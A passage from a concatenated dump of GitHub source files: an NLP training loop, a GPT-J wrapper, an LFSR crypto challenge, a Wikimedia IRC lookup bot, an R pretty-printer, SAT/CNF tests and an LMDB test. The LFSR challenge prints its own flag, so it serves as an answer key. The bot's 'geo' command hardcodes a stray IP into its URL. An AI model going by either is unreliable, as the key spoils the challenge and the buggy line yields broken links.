print()\n # norm_cm = cm / cm.sum(axis=1, keepdims=True)\n # plot_matrix(norm_cm, labels, normalize=True)\n # plot_matrix(cm, labels, normalize=False)\n\n\ndef eval_loop(y_true, y_pred, verbose=False):\n # targets are the outputs we want to predict\n # we evaluate each output separately\n all_labels = []\n for target, preds in zip(y_pred._fields, y_pred):\n gold = getattr(y_true, target)\n labels = set(gold)\n labels = tuple(sorted(labels, key=lambda x: (x[2:], x)))\n assert len(gold) == len(preds)\n if target == 'negation':\n # We want to do entity level stuff - so let's only take B- prediction\n ent_preds, ent_gold = [], []\n # We purposely double count tokens that are tagged both\n # as modifiers and entities\n for g, p, ent, mod in zip(gold, preds, y_true.ner_tags, y_true.mod_tags):\n if ent[:2] == 'B-':\n ent_gold.append(g)\n ent_preds.append(p)\n if mod[:2] == 'B-':\n ent_gold.append(g)\n ent_preds.append(p)\n gold, preds = ent_gold, ent_preds\n # report_eval(gold, preds, labels=labels, verbose=verbose)\n all_labels.append(labels)\n\n return all_labels\n\n\ndef train_loop(conf):\n\n only_pseudorandomness_please(conf.seed)\n # Patch blueprint inconsistencies\n patch_param_grid(conf)\n conf.paths.experiment_name = conf.name\n bp = conf.build()\n\n # ====================== LOAD DATASET =================================\n\n print('Loading dataset...')\n\n train = bp.data.train_vars(bp.paths)\n\n dev = bp.data.dev_vars(bp.paths)\n\n # ========================== TRAIN ====================================\n\n print('Fitting model...')\n\n # for name, param in model.named_parameters():\n # if param.requires_grad:\n # print(name)\n # else:\n # print('No grad: %s' % name)\n if conf.get('continue_training', None):\n model_path = bp.paths.model_path\n print('Loading model from %s' % model_path)\n model = bp.model.load(model_path)\n else:\n model = bp.model\n\n if conf.device.startswith('cuda'):\n # Set default gpu\n model.to(conf.device)\n\n # NOTE: This needs to be done after moving to gpu\n model.setup_optimizer()\n # NOTE: Hack to access vocab encoder during training\n # To be able to use BIOAccuracy\n model.metrics = bp.data.metrics\n model.vocabs = bp.data.vocab_encoder.vocabs\n\n for task in bp.model.model.tasks:\n bp.model.model.tasks[task].label_vocab = bp.data.vocab_encoder.vocabs[task]\n # print(bp)\n model.fit(train, dev=dev)\n\n # ========================== EVAL =====================================\n\n if bp.verbose:\n # Train eval\n train_preds = model.predict(train)\n\n dec_train_preds = bp.data.decode(train_preds)\n dec_train = bp.data.decode(train)\n\n print('=== Eval Train ===')\n train_labels = eval_loop(dec_train, dec_train_preds)\n\n # Dev eval\n dev_preds = model.predict(dev)\n\n dec_dev_preds = bp.data.decode(dev_preds)\n dec_dev = bp.data.decode(dev)\n\n print('=== Eval Dev ===')\n dev_labels = eval_loop(dec_dev, dec_dev_preds)\n\n # assert train_labels == dev_labels\n\n # ====================== SAVE MODEL TO FILE ===========================\n\n # Update conf details\n conf.edien_git_hash = get_current_git_hash()\n train_metrics = getattr(model, 'train_metrics', None)\n dev_metrics = getattr(model, 'dev_metrics', None)\n best_dev_metrics = getattr(model, 'best_dev_metrics', None)\n best_dev_metrics_time = getattr(model, 'best_dev_metrics_time', None)\n conf.results = dict(train=train_metrics,\n dev=dev_metrics,\n best_dev=best_dev_metrics,\n best_dev_time=best_dev_metrics_time)\n\n if model.persist:\n save_path = bp.paths.model_path\n print('Saving model to %s' % save_path)\n model.save(save_path)\n\n save_path = bp.paths.blueprint_path\n print('Saving blueprint to %s' % save_path)\n # Save unbuilt config as the blueprint used for this experiment\n conf.to_file(save_path)\n else:\n print('Not saving - running in non-persist mode')\n\n return conf\n","repo_name":"Edinburgh-LTG/edieviz","sub_path":"EdIE-N/edien/train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":6606,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"68"}
+{"seq_id":"16381754827","text":"from transformers import AutoTokenizer, GPTJForCausalLM\nimport torch\nimport time\n\nfrom model_lib.model_instance import ModelInstance\n\nclass Model(ModelInstance):\n\n def __init__(self) -> None:\n self.model_name = \"GPTJ\"\n self.model_path = 'EleutherAI/gpt-j-6B'\n\n print(\"Loading {model_name}...\".format(model_name=self.model_name))\n\n self.tokenizer = AutoTokenizer.from_pretrained(self.model_path)\n\n self.model = GPTJForCausalLM.from_pretrained(\n self.model_path, torch_dtype=torch.float16, device_map='auto',\n )\n\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n print(\"Device found: {device}\".format(device=device))\n if (torch.cuda.is_available()):\n print(\"GPU: \" + str(torch.cuda.get_device_name(torch.cuda.current_device())))\n\n def generate(self, prompt: str, max_tokens: int) -> str:\n\n inputs = self.tokenizer(prompt, return_tensors=\"pt\").input_ids\n inputs = inputs.to('cuda')\n response = \"\"\n\n if (type(self.model) == GPTJForCausalLM):\n gen_start = time.time()\n generate_ids = self.model.generate(\n inputs, \n do_sample=True, \n temperature=0.9,\n max_length=max_tokens,\n pad_token_id=self.tokenizer.eos_token_id\n\n )\n gen_time = time.time() - gen_start\n print(\"Generation Time: \" + str(gen_time))\n\n response = self.tokenizer.batch_decode(generate_ids, skip_special_tokens=True, clean_up_tokenization_spaces=False)[0]\n\n return response\n","repo_name":"hlucco/open-llm-repl","sub_path":"model_lib/gptj.py","file_name":"gptj.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"20177678262","text":"flag=b'flag{1fsr_c4n_n0t_pr3v3nt_0xb14cb12d~}'\nassert flag.startswith(b\"flag{\")\nassert flag.endswith(b\"}\")\nassert len(flag) == 38\n\nmasklength = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n\nclass LFSR:\n def __init__(self,seed,mask):\n self.mask = mask\n self.state = seed\n\n def next(self):\n output = (self.state << 1) & masklength\n i = (self.state & mask) & masklength\n lastbit = 0\n while i!=0:\n lastbit ^= (i & 1)\n i = i >> 1\n output ^= lastbit\n self.state = output\n return lastbit\n\nR = int(flag[5:-1].hex(),16)\nmask = int(bin(int(b'the_little_boy:0xb14cb12d'.hex(),16))[2:130]*2,2)\nlfsr = LFSR(R,mask)\n\ncipher = []\nfor i in range(100):\n tmp=0\n for j in range(8):\n out = lfsr.next()\n tmp=(tmp << 1)^out\n cipher.append(tmp)\n\nprint(bytes(cipher))\n#b'\\xab\\xcf\\xa8\\xdc\\xa8\\x00\\x95\\xfc\\xc5\\x16`\\x91%X^\\xde\\xaf\\x0e\\xd0\\xba\\x0fCg\\rwz\\xc1{\\xfdX\\x1b\\xf1\\x85\\x94\\xddK)\\x8d\\x1e\\xb3s\\xf8\\x18\\x00q\\xc78hT\\x11\\x9c\\xf7\\x9c\\x0e\\x96o3\\x12\\xffl\\xf1\\x1d\\xacD\\xf2F6\\x8d\\xa3\\x06\\x17\\xe5\\xdc\\xe4<\\x8eAa\\x8d\\x04\\xdd\\xab\\xd2\\xd9~\\x17\\x81}\\x16\\x92wWF\\x87\\xb5[@\\\\\\x84\\xe3'\n#flag{1fsr_c4n_n0t_pr3v3nt_0xb14cb12d~}","repo_name":"YunZh1Jun/YunZh1Jun.github.io","sub_path":"img/code/crypto_code/LFSR.py","file_name":"LFSR.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"14498612133","text":"import re\n\nfrom sopel import plugin\n\n\n@plugin.command(\"bullseye\")\ndef bullseye(bot, trigger):\n # !bullseye \n target = trigger.group(3)\n bot.say(\"Bullseye: https://bullseye.toolforge.org/ip/\" + target)\n\n\n@plugin.command(\"ca\")\ndef ca(bot, trigger):\n # !ca \n target = trigger.group(2)\n bot.say(\n \"Meta CentralAuth https://meta.wikimedia.org/wiki/Special:CentralAuth/\"\n + target.replace(\" \", \"_\")\n )\n\n\n@plugin.command(\"contribs\")\ndef contribs(bot, trigger):\n # !contribs \n tricky_ones = [\n \"commons\",\n \"incubator\",\n \"mediawiki\",\n \"outreach\",\n \"sources\",\n \"species\",\n \"wikidata\",\n \"meta\",\n ]\n try:\n project, target = trigger.group(2).split(\" \", 1)\n except ValueError:\n bot.say(\"Something is missing... Syntax is !contribs \")\n return\n target = target.replace(\" \", \"_\")\n if project in tricky_ones:\n if project == \"commons\":\n bot.say(\n \"User contribs: https://commons.wikimedia.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"incubator\":\n bot.say(\n \"User contribs: https://incubator.wikimedia.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"mediawiki\":\n bot.say(\n \"User contribs: https://www.mediawiki.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"outreach\":\n bot.say(\n \"User contribs: https://outreach.wikimedia.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"sources\":\n bot.say(\n \"User contribs: https://www.wikisource.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"species\":\n bot.say(\n \"User contribs: https://species.wikimedia.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"wikidata\":\n bot.say(\n \"User contribs: https://www.wikidata.org/wiki/Special:Contribs/\"\n + target\n )\n elif project == \"meta\":\n bot.say(\n \"User contribs: https://meta.wikimedia.org/wiki/Special:Contribs/\"\n + target\n )\n else:\n try:\n lang, proj = re.split(\"w\", project)\n lang = lang.replace(\"_\", \"-\")\n except ValueError:\n lang = None\n\n target = target.replace(\" \", \"_\")\n\n if lang is not None:\n if proj == \"iki\":\n bot.say(\n \"User contribs: https://\"\n + lang\n + \".wikipedia.org/wiki/Special:Contribs/\"\n + target\n )\n else:\n bot.say(\n \"User contribs: https://\"\n + lang\n + \".w\"\n + proj\n + \".org/wiki/Special:Contribs/\"\n + target\n )\n\n else:\n bot.say(\n \"Hmm... I've tried and just can't figure out which project \"\n + project\n + \" is. I'm sorry.\"\n )\n\n\n@plugin.command(\"geo\")\ndef geo(bot, trigger):\n # !geo \n target = trigger.group(3)\n bot.say(\"Geolocate IP: https://whatismyipaddress.com/ip/1.1.1.1\" + target)\n\n\n@plugin.command(\"google\")\ndef google(bot, trigger):\n # !google \n target = trigger.group(2)\n bot.say(\n \"Google results: https://www.google.com/search?q=\" + target.replace(\" \", \"_\")\n )\n\n\n@plugin.command(\"guc\")\ndef guc(bot, trigger):\n # !guc \n target = trigger.group(2)\n bot.say(\n \"Global contribs, last hour: https://tools.wmflabs.org/guc/?src=hr&by=date&user=\"\n + target\n )\n\n\n@plugin.command(\"gucall\")\ndef gucall(bot, trigger):\n # !gucall \n target = trigger.group(2)\n bot.say(\"Global contribs, all: https://tools.wmflabs.org/guc/?user=\" + target)\n\n\n@plugin.command(\"ipqs\")\ndef ipqs(bot, trigger):\n # !ipqs \n target = trigger.group(3)\n bot.say(\n \"IP Quality Score: https://www.ipqualityscore.com/free-ip-lookup-proxy-vpn-test/lookup/\"\n + target\n )\n\n\n@plugin.command(\"proxy\")\ndef proxy(bot, trigger):\n # !proxy \n target = trigger.group(3)\n bot.say(\"Proxy API Checker: https://ipcheck.toolforge.org/index.php?ip=\" + target)\n\n\n@plugin.command(\"rbf\")\ndef rbf(bot, trigger):\n # !rbf \n target = trigger.group(3)\n bot.say(\n \"Range block finder: https://rangeblockfinder.toolforge.org/?excludelow&ip=\"\n + target\n )\n\n\n@plugin.command(\"stalk\")\ndef stalk(bot, trigger):\n # !stalk \n target = trigger.group(2)\n bot.say(\"Stalktoy: https://meta.toolforge.org/stalktoy/\" + target.replace(\" \", \"_\"))\n\n\n@plugin.command(\"stewardry\")\ndef stewardry(bot, trigger):\n # !stewardry \n target = trigger.group(3)\n bot.say(\n \"Stewardry (sysop): https://meta.toolforge.org/stewardry/\"\n + target.replace(\" \", \"_\")\n )\n\n\n@plugin.command(\"urban\")\ndef urban(bot, trigger):\n # !urban \n target = trigger.group(2)\n bot.say(\n \"Urban Dictionary lookup: https://www.urbandictionary.com/define.php?term=\"\n + target.replace(\" \", \"_\")\n )\n\n\n@plugin.command(\"whois\")\ndef whois(bot, trigger):\n # !whois \n target = trigger.group(3)\n bot.say(\n \"WHOIS lookup: https://whois-referral.toolforge.org/gateway.py?lookup=true&ip=\"\n + target\n )\n\n\n@plugin.command(\"xact\")\ndef xact(bot, trigger):\n # !xact \n target = trigger.group(2)\n bot.say(\n \"CrossActivity: https://meta2.toolforge.org/crossactivity/\"\n + target.replace(\" \", \"_\")\n )\n\n\n@plugin.require_owner(\n \"This command has been disabled, as the tool is currently offline.\"\n)\n@plugin.command(\"xcon\")\ndef xcon(bot, trigger):\n # !xcon \n target = trigger.group(2)\n bot.say(\n \"xContribs: https://erwin85.toolforge.org/xcontribs.php?user=\"\n + target.replace(\" \", \"_\")\n )\n\n\n@plugin.command(\"xguc\")\ndef xguc(bot, trigger):\n if trigger.group(2) != \"\":\n if re.search(r\"\\/\", trigger.group(3)):\n bot.say(\"https://xtools.wmflabs.org/globalcontribs/ipr-\" + trigger.group(3))\n else:\n bot.say(\"https://xtools.wmflabs.org/globalcontribs/\" + trigger.group(3))\n else:\n bot.say(\"What is the target? !xguc \")\n\n\n@plugin.command(\"xtools\")\ndef xtools(bot, trigger):\n # !xtools \n tricky_ones = [\n \"commons\",\n \"incubator\",\n \"mediawiki\",\n \"outreach\",\n \"sources\",\n \"species\",\n \"wikidata\",\n \"meta\",\n ]\n try:\n project, target = trigger.group(2).split(\" \", 1)\n except ValueError:\n bot.say(\"Something is missing... Syntax is !xtools \")\n return\n\n target = target.replace(\" \", \"_\")\n if project in tricky_ones:\n if project == \"commons\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/commons.wikimedia.org/\" + target\n )\n elif project == \"incubator\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/incubator.wikimedia.org/\"\n + target\n )\n elif project == \"mediawiki\":\n bot.say(\"XTools: https://xtools.wmflabs.org/ec/www.mediawiki.org/\" + target)\n elif project == \"outreach\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/outreach.wikimedia.org/\" + target\n )\n elif project == \"sources\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/www.wikisource.org/\" + target\n )\n elif project == \"species\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/species.wikimedia.org/\" + target\n )\n elif project == \"wikidata\":\n bot.say(\"XTools: https://xtools.wmflabs.org/ec/www.wikidata.org/\" + target)\n elif project == \"meta\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/meta.wikimedia.org/\" + target\n )\n else:\n try:\n lang, proj = re.split(\"w\", project)\n lang = lang.replace(\"_\", \"-\")\n except ValueError:\n lang = None\n\n target = target.replace(\" \", \"_\")\n\n if lang is not None:\n if proj == \"iki\":\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/\"\n + lang\n + \".wikipedia.org/\"\n + target\n )\n else:\n bot.say(\n \"XTools: https://xtools.wmflabs.org/ec/\"\n + lang\n + \".w\"\n + proj\n + \".org/\"\n + target\n )\n\n else:\n bot.say(\n \"Hmm... I've tried and just can't figure out which project \"\n + project\n + \" is. I'm sorry.\"\n )\n","repo_name":"Operator873/SAM-retired","sub_path":"wikicmds.py","file_name":"wikicmds.py","file_ext":"py","file_size_in_byte":9236,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"72675283735","text":"\"\"\" Pretty-printer for the R AST.\n\nFor references on the R grammar, see ast.py.\n\nTODO:\n - Special functions: if, while, for, etc\n - Function definition: function(x) x+1\n\"\"\"\nfrom __future__ import absolute_import\n\nimport math\nfrom io import BytesIO as StringIO\nfrom textwrap import TextWrapper\n\nfrom nemesis.r import ast\n\n\n# Public API\n\ndef write_ast(node, out, indent=0):\n \"\"\" Pretty-prints an R AST to a file-like object.\n \"\"\"\n out.write(indent * ' ')\n _write_ast(node, out, indent)\n\ndef print_ast(node, indent=0):\n \"\"\" Pretty-prints an R AST as a string.\n \"\"\"\n io = StringIO()\n write_ast(node, io, indent)\n return io.getvalue()\n\n\n# Private write functions\n\ndef _write_ast(node, out, indent):\n for klass in node.__class__.__mro__:\n writer = writers.get(klass)\n if writer:\n return writer(node, out, indent)\n raise TypeError('Unknown node type %s' % node.__class__.__name__)\n\ndef _write_constant(node, out, indent):\n value = node.value\n if isinstance(value, bool):\n out.write('TRUE' if value else 'FALSE')\n elif isinstance(value, float) and math.isinf(value):\n out.write('Inf' if value > 0 else '-Inf')\n elif isinstance(value, float) and math.isnan(value):\n # Follow Pandas in using NaN to represent missing data.\n out.write('NA')\n elif isinstance(value, complex):\n new_node = ast.Call(ast.Name('complex'),\n (ast.Name('real'), ast.Constant(value.real)),\n (ast.Name('imaginary'), ast.Constant(value.imag)))\n _write_ast(new_node, out, indent)\n elif isinstance(value, unicode):\n out.write(repr(value.encode('ascii')))\n else:\n out.write(repr(value))\n\ndef _write_name(node, out, indent):\n out.write(node.value)\n \ndef _write_call(node, out, indent):\n # Dispatch on the kind of call being made.\n if _is_call_index(node):\n _write_call_index(node, out, indent)\n elif _is_call_operator(node):\n _write_call_operator(node, out, indent)\n else:\n # If we get here, it's a standard function call.\n _write_call_standard(node, out, indent)\n\ndef _write_call_index(node, out, indent):\n if not len(node.args) == 2:\n raise ValueError('Malformed index node %r' % node)\n \n _write_ast(node.args[0], out, indent)\n out.write(node.fn.value)\n _write_ast(node.args[1], out, indent)\n out.write(']' if node.fn.value == '[' else ']]')\n\ndef _write_call_operator(node, out, indent):\n # Unary case.\n if len(node.args) == 1:\n _write_ast(node.fn, out, indent)\n _write_ast(node.args[0], out, indent)\n \n # Binary case.\n elif len(node.args) == 2:\n # First argument.\n first = node.args[0]\n parens = (_is_call_operator(first) and\n _operator_precedence(first) < _operator_precedence(node))\n out.write('(' if parens else '')\n _write_ast(first, out, indent)\n out.write(')' if parens else '')\n \n # Operator.\n out.write('' if _print_hint(node) == 'short' else ' ')\n _write_ast(node.fn, out, indent)\n out.write('' if _print_hint(node) == 'short' else ' ')\n \n # Second argument. The difference in inequality strictness is due to\n # R's left-to-right evaluation order for operators of equal precedence.\n second = node.args[1]\n parens = (_is_call_operator(second) and\n _operator_precedence(second) <= _operator_precedence(node))\n out.write('(' if parens else '')\n _write_ast(second, out, indent)\n out.write(')' if parens else '')\n \n\ndef _write_call_standard(node, out, indent):\n _write_ast(node.fn, out, indent)\n out.write('(')\n\n # We can't predict the length of a general expression.\n if isinstance(node.fn, ast.Name):\n indent += len(node.fn.value) + 1\n else:\n indent += 2\n\n for i, node_or_pair in enumerate(node.args):\n # Print the argument separator (if not on the first argument).\n if i > 0:\n if _print_hint(node) == 'long':\n out.write(',')\n _write_newline(out, indent)\n else:\n out.write(',' if _print_hint(node) == 'short' else ', ')\n \n # Print the argument itself.\n if isinstance(node_or_pair, tuple):\n _write_ast(node_or_pair[0], out, indent)\n out.write('=' if _print_hint(node) == 'short' else ' = ')\n _write_ast(node_or_pair[1], out, indent)\n else:\n _write_ast(node_or_pair, out, indent)\n\n out.write(')')\n\ndef _write_pair_list(node, out, indent):\n for i, name_or_pair in enumerate(node.value):\n if i > 0:\n out.write(', ')\n if isinstance(name_or_pair, tuple):\n _write_ast(name_or_pair[0], out, indent)\n out.write(' = ')\n _write_ast(name_or_pair[1], out, indent)\n else:\n _write_ast(name_or_pair, out, indent)\n\ndef _write_block(node, out, indent):\n for i, expr in enumerate(node.value):\n if i > 0:\n if _print_hint(node) == 'short':\n out.write('; ')\n elif _print_hint(node) == 'long':\n _write_newline(out, 0)\n _write_newline(out, indent)\n else:\n _write_newline(out, indent)\n _write_ast(expr, out, indent)\n\ndef _write_comment(node, out, indent):\n wrapper = TextWrapper(initial_indent = '# ',\n subsequent_indent = indent * ' ' + '# ',\n break_long_words = False)\n out.write(wrapper.fill(node.value))\n\ndef _write_raw(node, out, indent):\n out.write(node.value)\n\ndef _write_newline(out, indent):\n out.write('\\n')\n out.write(' ' * indent)\n\n\n# Additional private functions\n\ndef _is_call_index(node):\n return (isinstance(node, ast.Call) and \n isinstance(node.fn, ast.Name) and node.fn.value in ('[', '[['))\n\ndef _is_call_operator(node):\n if not (isinstance(node, ast.Call) and isinstance(node.fn, ast.Name)):\n return False\n sym = node.fn.value\n num_args = len(node.args)\n return ((sym, num_args) in OP_PRECEDENCE or\n (sym.startswith('%') and sym.endswith('%') and num_args == 2))\n\ndef _operator_precedence(node):\n assert _is_call_operator(node)\n default = OP_PRECEDENCE[('%%', 2)]\n return OP_PRECEDENCE.get((node.fn.value, len(node.args)), default) \n\ndef _print_hint(node):\n return node.metadata.get('print_hint', 'normal')\n\n\n# Globals and constants\n\nwriters = { ast.Constant: _write_constant,\n ast.Name: _write_name,\n ast.Call: _write_call,\n ast.PairList: _write_pair_list,\n ast.Block: _write_block,\n ast.Comment: _write_comment,\n ast.Raw: _write_raw }\n\n# Binary and unary operators with precedence\n# \n# Reference: \n# http://stat.ethz.ch/R-manual/R-patched/library/base/html/Syntax.html\nOP_PRECEDENCE = {\n ('^', 2) : 14,\n ('-', 1) : 13, ('+', 1) : 13,\n (':', 2) : 12,\n ('%%', 2) : 11, # Any special operator (including %% and %/%)\n ('*', 2) : 10, ('/', 2) : 10,\n ('+', 2) : 9, ('-', 2) : 9,\n ('<', 2) : 8, ('>', 2) : 8, ('<=', 2) : 8, ('>=', 2) : 8,\n ('==', 2) : 8, ('!=', 2) : 8,\n ('!', 1) : 7,\n ('&', 2) : 6, ('&&', 2) : 6,\n ('|', 2) : 5, ('||', 2) : 5,\n ('~', 2) : 4,\n ('->', 2) : 3, ('->>', 2) : 3,\n ('<-', 2) : 2, ('<<-', 2) : 2,\n ('=', 2) : 1,\n ('?', 1) : 0, ('?', 2) : 0,\n}","repo_name":"AvianaGlobal/nemesis-mbmi","sub_path":"main/nemesis/r/pretty_print.py","file_name":"pretty_print.py","file_ext":"py","file_size_in_byte":7519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"3173214607","text":"from tomriddle import cnf\nfrom time import time\nfrom sympy import symbols\nimport sympy.logic.boolalg as form\nfrom operator import invert\nfrom itertools import combinations\n\nfrom pycosat import itersolve\n\nfrom tomriddle import satbridge\n\n\ndef test_max_n_true():\n\n symbs = symbols(\"a,b,c,d,e\")\n mapper = satbridge.SymbolMapper(symbs)\n\n sat_in = cnf.max_n_true(symbs, 3, mapper=mapper)\n print(sat_in)\n ways = list(itersolve(sat_in))\n\n # none with more than three true\n for way in ways:\n assert len(way) == len(symbs)\n true_symbs = list(filter(lambda x: x > 0, way))\n assert 3 >= len(true_symbs)\n print(true_symbs)\n\n # one for each subset of size 0, 1, 2, or 3\n expect_num = (\n len(list(combinations(symbs, 3)))\n + len(list(combinations(symbs, 2)))\n + len(list(combinations(symbs, 1)))\n + 1 # the empty solution\n )\n assert expect_num == len(ways)\n\n\ndef test_min_n_true():\n\n symbs = symbols(\"a,b,c,d,e\")\n mapper = satbridge.SymbolMapper(symbs)\n\n sat_in = cnf.min_n_true(symbs, 3, mapper=mapper)\n print(sat_in)\n ways = list(itersolve(sat_in))\n\n # none with more than three true\n for way in ways:\n assert len(way) == len(symbs)\n true_symbs = list(filter(lambda x: x > 0, way))\n assert 3 <= len(true_symbs)\n print(true_symbs)\n\n # one for each subset of size 0, 1, 2, or 3\n expect_num = (\n len(list(combinations(symbs, 3)))\n + len(list(combinations(symbs, 4)))\n + 1 # the full solution\n )\n assert expect_num == len(ways)\n\n\ndef test_exactly_n_true():\n\n symbs = symbols(\"a,b,c,d,e\")\n mapper = satbridge.SymbolMapper(symbs)\n\n min_constraint = cnf.min_n_true(symbs, 2, mapper=mapper)\n max_constraint = cnf.max_n_true(symbs, 2, mapper=mapper)\n\n solutions = list(itersolve(min_constraint + max_constraint))\n\n assert len(list(combinations(symbs, 2))) == len(solutions)\n\n for sol in solutions:\n true_only = list(filter(lambda x: x > 0, sol))\n assert 2 == len(true_only)\n\n\ndef test_next_set():\n\n # {5, 1, 8} is the largest set after deduplication, so it will be chosen from\n begin = [[1, 2, 1], [3, 4], [5, 1, 8]]\n expect = (frozenset({1, 5, 8}), set([frozenset({1, 2}), frozenset({3, 4})]))\n result = cnf._next_set(begin)\n\n assert expect == result\n\n\ndef test_next_set_setinput():\n\n begin = {frozenset([1, 2, 1]), frozenset([3, 4]), frozenset([5, 1, 8])}\n expect = (frozenset({1, 5, 8}), set([frozenset({1, 2}), frozenset({3, 4})]))\n result = cnf._next_set(begin)\n\n assert expect == result\n\n\ndef test_setproduct():\n\n clauses = set(list(cnf._setproduct([[1, 2], [3, 4]])))\n\n assert clauses == {\n frozenset([1, 3]),\n frozenset([1, 4]),\n frozenset([2, 3]),\n frozenset([2, 4]),\n }\n\n\ndef test_setproduct_moar():\n\n terms = [[1, 2], [2, 3, 4], [5]]\n sp = set(list(cnf._setproduct(terms)))\n\n assert sp == {\n frozenset([1, 2, 5]),\n frozenset([1, 3, 5]),\n frozenset([1, 4, 5]),\n frozenset([2, 5]),\n frozenset([2, 3, 5]),\n frozenset([2, 4, 5]),\n }\n\n\ndef dnf_equivalence(expr, symbs):\n\n mapper = satbridge.SymbolMapper(symbs)\n\n # convert with sympy\n def control(expr):\n cnf_expr = form.to_cnf(expr, simplify=True, force=True)\n sat_in = satbridge.expr_to_satfmt(cnf_expr, mapper)\n return sat_in\n\n # convert with something I made up\n def experiment(expr):\n return cnf.from_dnf(expr, mapper)\n\n def get_solns(func):\n\n # make expression\n before = time()\n cnf_clauses = func(expr)\n\n # find solutions\n solutions = []\n for sat_out in itersolve(cnf_clauses):\n true_only = list(filter(lambda x: x > 0, sat_out))\n if true_only:\n expr_out = cnf.AND(list(map(mapper.to_symb, true_only)))\n solutions.append(expr_out)\n\n after = time()\n return solutions, after - before\n\n # do they yield the same solutions?\n experiment_solns, experiment_duration = get_solns(experiment)\n control_solns, control_duration = get_solns(control)\n\n print(\"control\", control_duration, \"seconds\")\n print(\"experiment\", experiment_duration, \"seconds\")\n\n # this an obnoxious way to assert equality,\n # but expressions aren't hashable and order doesn't matter\n\n for c in control_solns:\n assert c in experiment_solns\n\n for e in experiment_solns:\n assert e in control_solns\n\n\ndef test_dnf_a():\n\n # which ways for every other one to be true\n symbs = symbols(\"a,b,c,d,e,f\")\n a, b, c, d, e, f = symbs\n expr = (a & c & e) | (b & d & f)\n dnf_equivalence(expr, symbs)\n\n\ndef test_dnf_b():\n\n # how many ways for 3 of these to be true?\n symbs = symbols(\"a,b,c,d,e,f\")\n microstates = []\n for microstate in combinations(symbs, 2):\n microstates.append(cnf.AND(microstate))\n expr = cnf.OR(microstates)\n\n dnf_equivalence(expr, symbs)\n\n\ndef test_dnf_c():\n\n # how many ways for 3 of these to be true?\n symbs = symbols(\"a,b,c,d,e,f,g\")\n a, b, c, d, e, f, g = symbs\n expr = a | (b & ~c) | (a & c) | (d & ~e & ~f & g) | ~g\n\n dnf_equivalence(expr, symbs)\n\n\ndef test_bcd():\n\n # how many ways for 3 consecurive of these to be true?\n symbs = symbols(\"a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t\")\n mapper = satbridge.SymbolMapper(symbs)\n a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t = symbs\n\n straight_expr = (a & b & c) | (b & c & d) | (c & d & e) | (d & e & f) | (g & h & i)\n straight = cnf.from_dnf(straight_expr, mapper=mapper)\n\n max3 = cnf.max_n_true(symbs, 3, mapper=mapper)\n\n sat_in = straight + max3\n solutions = list(itersolve(sat_in))\n\n nofalse = sorted([list(filter(lambda x: x > 0, y)) for y in solutions])\n assert 5 == len(nofalse)\n print(nofalse)\n","repo_name":"MatrixManAtYrService/tomriddle","sub_path":"tests/test_cnf.py","file_name":"test_cnf.py","file_ext":"py","file_size_in_byte":5884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"15295589192","text":"#!/usr/bin/python2\n\"\"\"\nLMDB test 3.\nTwo processes accessing shared memory.\n\"\"\"\nimport argparse\nimport lmdb\nimport logging\nimport psutil\nimport random\nimport string\nimport uuid\n\nlogger = logging.getLogger(__name__)\n\n\nDATAPATH = 'test_data'\nNUM_OF_WRITES = 100\n\n\ndef commandLineArgs():\n parser = argparse.ArgumentParser()\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\"-r\", \"--reader\", action=\"store_true\", help=\"Run as the reader process.\")\n group.add_argument(\"-w\", \"--writer\", action=\"store_true\", help=\"Run as the writer process.\")\n return parser.parse_args()\n\n\ndef hit_enter():\n try:\n dummy = input('-- hit Enter to continue --')\n except:\n pass #ignore all.\n\n\ndef random_string(string_length=128):\n \"\"\"\n \"\"\"\n characters = string.ascii_letters + string.digits\n return ''.join(random.choice(characters) for i in range(string_length))\n\n\ndef the_writer():\n \"\"\"\n \"\"\"\n logger.debug('lmdb begin Write test.')\n logger.debug('random_string: %s', random_string())\n # map_size=10485760\n # writemap=True\n env_write = lmdb.open(DATAPATH, readonly=False, max_dbs=2)\n with env_write.begin(write=True, buffers=True) as txn:\n txn.put('somename', 'somedata')\n txn.put('mykey', 'myvalue')\n\n for index in range(NUM_OF_WRITES):\n txn.put(str(uuid.uuid4()), random_string())\n #\n logger.info('memory:\\n%s', psutil.virtual_memory())\n hit_enter()\n\n\ndef the_reader():\n \"\"\"\n \"\"\"\n logger.debug('lmdb begin Get test.')\n env_read = lmdb.open(DATAPATH, readonly=True)\n with env_read.begin(write=False, buffers=True) as txn:\n key = 'somename'\n logger.info('key=%s, value=%s', key, txn.get(key))\n key = 'nada'\n logger.info('key=%s, value=%s', key, txn.get(key))\n\n logger.debug('lmdb begin Cursor test.')\n env_read = lmdb.open(DATAPATH, readonly=True)\n with env_read.begin(write=False, buffers=True) as txn:\n cursor = txn.cursor()\n counter = 0\n for key, value in cursor:\n logger.debug('key=%s, value=%s', key, 